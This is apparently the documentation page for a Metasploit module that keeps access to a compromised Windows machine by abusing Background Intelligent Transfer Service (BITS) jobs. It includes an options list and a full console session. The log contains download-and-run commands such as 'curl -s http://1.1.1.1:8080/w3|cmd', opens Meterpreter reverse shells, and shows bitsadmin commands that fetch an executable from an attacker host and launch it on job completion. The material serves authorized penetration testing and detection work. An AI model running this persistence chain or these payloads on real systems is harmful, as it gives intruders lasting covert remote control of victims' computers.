## Vulnerable Application

This module establishes persistence by exclusively through a BITS job that
downloads and executes a payload. Background Intelligent Transfer Service
(BITS) is a Windows service for transferring files in the background
using idle network bandwidth. BITS jobs are persistent and will resume
across reboots until completed or cancelled.

BITS does not include a timing mechanism for when jobs are run, so we control that
in how we respond to the HTTP requests from the BITS client. This avoids needing
to set up an external trigger to start the job like a scheduled task or similar.

Similarily, BITS jobs are somewhat clock agnostic, so while we can set some
time parameters, the aren't a guarantee of when the job will actually run.
Jobs that we've idled via HTTP server response will have a "CONNECTING" status.

BITS is fickle about the HTTP responses it expects, so we have to be precise in
how the server responds. For a HEAD request we need to send back a correct
Content-Length header matching the payload size, but with no body. For GET requests
we need to handle byte range requests properly (althought not always used),
sending back the appropriate
Content-Range headers. If we respond incorrectly BITS may error out or retry
in unexpected ways. However, we can trick BITS into not getting the payload until
we want by responding to the GET requests with no body (aka how we responded to
the HEAD requests) until our delay time has reached.

### Debugging

To list bits jobs: `bitsadmin /list`

To get more info on a bits job: `bitsadmin /info <guid> /verbose`

To cancel all bits job: `bitsadmin /reset`

## Verification Steps

1. Start msfconsole
2. Get a session on Windows
3. Do: `use exploit/windows/persistence/bits`
3. Do: `set session #`
4. Do: `set srvhost <ip>`
1. Do: `run`
2. You should get a shell eventually

## Options

### JOB_NAME

The name to use for the bits job provider. (Default: random)

### PAYLOAD_NAME

Name of payload file to write. Random string as default.

### DELAY

Delay in seconds before callback. Defaults to `3600`

### RETRY_DELAY

Delay in seconds between retries. Defaults to `600`

## Scenarios
Specific demo of using the module that might be useful in a real world scenario.

### Windows 10 1909 (10.0 Build 18363).

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
fetch_command => CURL
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
fetch_pipe => true
resource (/root/.msf4/msfconsole.rc)> set lport 4450
lport => 4450
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
FETCH_URIPATH => w3
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
FETCH_FILENAME => mkaKJBzbDB
resource (/root/.msf4/msfconsole.rc)> to_handler
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe

[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg
[*] Adding resource /w3
[*] Started reverse TCP handler on 1.1.1.1:4450 
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > 
[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49712) at 2026-01-01 19:33:30 -0500

msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN10PROLICENSE\windows
meterpreter > sysinfo
Computer        : WIN10PROLICENSE
OS              : Windows 10 1909 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/bits
msf exploit(windows/persistence/bits) > set session 1
session => 1
msf exploit(windows/persistence/bits) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/bits) > set srvhost 1.1.1.1
srvhost => 1.1.1.1
msf exploit(windows/persistence/bits) > set srvport 80
srvport => 80
msf exploit(windows/persistence/bits) > set delay 200
delay => 200
msf exploit(windows/persistence/bits) > set retry_delay 60
retry_delay => 60
msf exploit(windows/persistence/bits) > rexploit
[*] Reloading module...
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf exploit(windows/persistence/bits) > 
[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Likely exploitable
[*] Using URL: http://1.1.1.1/VkVKYnWc
[+] Successfully created BITS job T9vesd8HA with ID Created job {E7E39BA4-D14E-4B8F-B0DF-06CCF233E28F}.
[*] Executing: bitsadmin /addfile "T9vesd8HA" "http://1.1.1.1:80/VkVKYnWc" "C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe"
    Added http://1.1.1.1:80/VkVKYnWc -> C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe to job.
[*] Executing: bitsadmin /SetNotifyCmdLine "T9vesd8HA" "cmd.exe" "/c bitsadmin /complete \"T9vesd8HA\" && if exist \"C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe\" start /b \"\" \"C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe\"""
    notification command line set to 'cmd.exe' '/c bitsadmin /complete "T9vesd8HA" && if exist "C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe" start /b "" "C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe"" '.
[*] Executing: bitsadmin /SetMinRetryDelay "T9vesd8HA" 60
    Minimum retry delay set to 60.
[*] Executing: bitsadmin /setpriority "T9vesd8HA" high
    Priority set to HIGH.
[*] Executing: bitsadmin /setnoprogresstimeout "T9vesd8HA" 10
    No progress timeout set to 10.
[*] Executing: bitsadmin /resume "T9vesd8HA"
[*] HTTP Server: HEAD /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
[+] HTTP Server: HEAD request received, sending response
[*] HTTP Server: GET /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
[*] HTTP Server: Early BITS connection, waiting till 01/01/2026 19:51:26 (198s left), sending empty body back to force a retry
    Job resumed.
[+] Persistence installed! Payload will be downloaded to C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe when the BITS job T9vesd8HA runs.
msf exploit(windows/persistence/bits) > [*] HTTP Server: GET /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
[*] HTTP Server: Sending full payload to BITS client
[*] HTTP Server: GET /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
[*] HTTP Server: Sending full payload to BITS client
[*] Sending stage (188998 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49744) at 2026-01-01 19:53:15 -0500
```
